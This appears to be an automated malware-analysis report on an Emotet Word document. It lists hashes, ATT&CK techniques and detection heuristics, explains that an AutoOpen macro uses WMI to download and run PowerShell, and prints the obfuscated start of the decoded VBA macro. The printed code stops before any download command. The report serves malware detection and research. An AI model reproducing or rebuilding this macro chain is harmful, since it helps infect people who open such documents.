Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 227630e9d0084689…

MALICIOUS

Office (OLE)

135.8 KB Created: 2019-05-30 15:31:00 Authoring application: Microsoft Office Word First seen: 2020-05-25
MD5: 13b67af09361c4d45778e5a22efbaa31 SHA-1: 7a5d830165e735ae673ed5e8e4c97a5c27c1b681 SHA-256: 227630e9d008468991642c6ef2c19087123fbb58d094bed05c727c92cb5dad61
282 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer T1059 Command and Scripting Interpreter T1047 WMI

The sample contains a VBA macro with an autoopen function that utilizes CreateObject to launch a WMI process. This process is configured to download and execute a PowerShell script from a specific URL, indicating a downloader or droppper functionality. The ClamAV detection and heuristic firings strongly suggest the Emotet family.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-10001946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-10001946-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10963 bytes
SHA-256: 05b2379edcc22b8c8b2049635917b61a4ecc1d11ee5f981060ce9a36a01d0fbf
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "zzI_0E7f, 0, 0, MSForms, ComboBox"
Attribute VB_Control = "zdP6i5RR, 1, 1, MSForms, ComboBox"
Attribute VB_Control = "djiSGw, 2, 2, MSForms, ComboBox"
Function ncJW9r()
   Select Case "OSuq4Z"
         Case "p7ln9r"
         Debug.Print Log("ZkuSYAK")
            Debug.Print "HN4F_AO"
            Debug.Print "TW5vS_6n"
            Debug.Print Tan("z8MpkDL")
         Case "i1RHvTu"
            Debug.Print Log("Iw7Xb_Ur")
            Debug.Print "PvYvnjCa"
            Debug.Print Log("PBzwokI")
            Debug.Print "HciwGc"
End Select
   Select Case "rpVGaJM"
         Case "vwn1O9Ca"
         Debug.Print Log("jO7dzz2")
            Debug.Print "wws0aKoP"
            Debug.Print "wVJs7i"
            Debug.Print Tan("pNmtvdq0")
         Case "KjTkNjMH"
            Debug.Print Log("KpksoSIT")
            Debug.Print "A0i0CuE"
            Debug.Print Log("MTbwuD")
            Debug.Print "UIojwSjm"
End Select
End Function
Sub _
autoopen( _
)
   Select Case "M0lKq1"
         Case "G9nXRvj"
         Debug.Print Log("q5_zFB4")
            Debug.Print "XfW7hnS"
            Debug.Print "dTzQHIUn"
            Debug.Print Tan("O7zHSj")
         Case "qaK8toD"
            Debug.Print Log("ILaAFV")
            Debug.Print "lujz3fcf"
            Debug.Print Log("joYDZh")
            Debug.Print "ZznlIMu"
End Select
rj0Cow
   Select Case "iMclu0"
         Case "KEi_krB"
         Debug.Print Log("PGjnKz")
            Debug.Print "O8Kn2j"
            Debug.Print "QWM9dWpi"
            Debug.Print Tan("AFi0YK3")
         Case "uhZiYUh"
            Debug.Print Log("iwWjfJ")
            Debug.Print "qr38cF"
            Debug.Print Log("qCjTjAva")
            Debug.Print "Q64zo8"
End Select
End Sub
Function SjKqA9BQ()
   Select Case "mJTMI_Qh"
         Case "QHoilQf"
         Debug.Print Log("r3i05d")
            Debug.Print "i_STws"
            Debug.Print "k4IjUL"
            Debug.Print Tan("tWcN6J")
         Case "E_jEMKZ"
            Debug.Print Log("wqiCTi")
            Debug.Print "N5XWi6pR"
            Debug.Print Log("cA2HbY")
            Debug.Print "pM6Ghd"
End Select
   Select Case "tiCzzf5U"
         Case "atkzhGu"
         Debug.Print Log("CA3dC4p")
            Debug.Print "PPrD2UMC"
            Debug.Print "a9S1M0"
            Debug.Print Tan("bX8j9XH")
         Case "AB_8Ih_B"
            Debug.Print Log("X3QmiXlZ")
            Debug.Print "IqfzQHk9"
            Debug.Print Log("Q8maLB")
            Debug.Print "TaSwJB"
End Select
End Function


Attribute VB_Name = "jlYJvCq"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "awJ7lPbn"

Attribute VB_Name = "IRV1cp"

Attribute VB_Name = "m3Z44WT9"

Attribute VB_Name = "AD6Zz2nK"

Attribute VB_Name = "vTCjDw"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "jubKrh"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "YIGuitVp"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB
... (truncated)